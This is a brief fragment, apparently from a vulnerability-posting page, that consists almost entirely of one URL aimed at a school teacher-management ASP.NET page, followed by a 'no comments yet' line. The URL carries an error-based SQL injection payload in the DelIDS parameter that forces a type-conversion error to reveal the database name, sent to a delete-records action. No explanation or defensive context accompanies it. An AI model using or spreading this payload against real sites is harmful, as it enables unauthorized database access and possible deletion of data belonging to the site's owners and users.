http://xxx.com/code/teach/teachermanage.aspx?Method=DelTecherInfo&DelIDS=1) AND 1=convert(int, CHAR(126) %2b CHAR(126) %2b CHAR(126)%2bdb_name() %2b CHAR(126) %2b CHAR(126) %2b CHAR(126))--

暂无评论